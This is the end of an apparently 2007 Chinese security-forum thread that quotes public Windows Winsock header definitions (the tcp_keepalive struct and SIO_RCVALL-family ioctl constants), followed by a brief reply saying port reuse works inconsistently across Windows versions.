/*  Argument  structure  for  SIO_KEEPALIVE_VALS  */  
  
struct  tcp_keepalive  {  
     u_long   onoff;  
     u_long   keepalivetime;  
     u_long   keepaliveinterval;  
};  
  
//  New  WSAIoctl  Options  
  
#define  SIO_RCVALL             _WSAIOW(IOC_VENDOR,1)  
#define  SIO_RCVALL_MCAST       _WSAIOW(IOC_VENDOR,2)  
#define  SIO_RCVALL_IGMPMCAST   _WSAIOW(IOC_VENDOR,3)  
#define  SIO_KEEPALIVE_VALS     _WSAIOW(IOC_VENDOR,4)  
#define  SIO_ABSORB_RTRALERT    _WSAIOW(IOC_VENDOR,5)  
#define  SIO_UCAST_IF           _WSAIOW(IOC_VENDOR,6)  
#define  SIO_LIMIT_BROADCASTS   _WSAIOW(IOC_VENDOR,7)  
#define  SIO_INDEX_BIND         _WSAIOW(IOC_VENDOR,8)  
#define  SIO_INDEX_MCASTIF      _WSAIOW(IOC_VENDOR,9)   
  
#endif[/code]

willy123 2007-12-21 15:19

端口复用ms各个版本上通用性不好~~

页: [1]
© 1999-2008 EvilOctal Security Team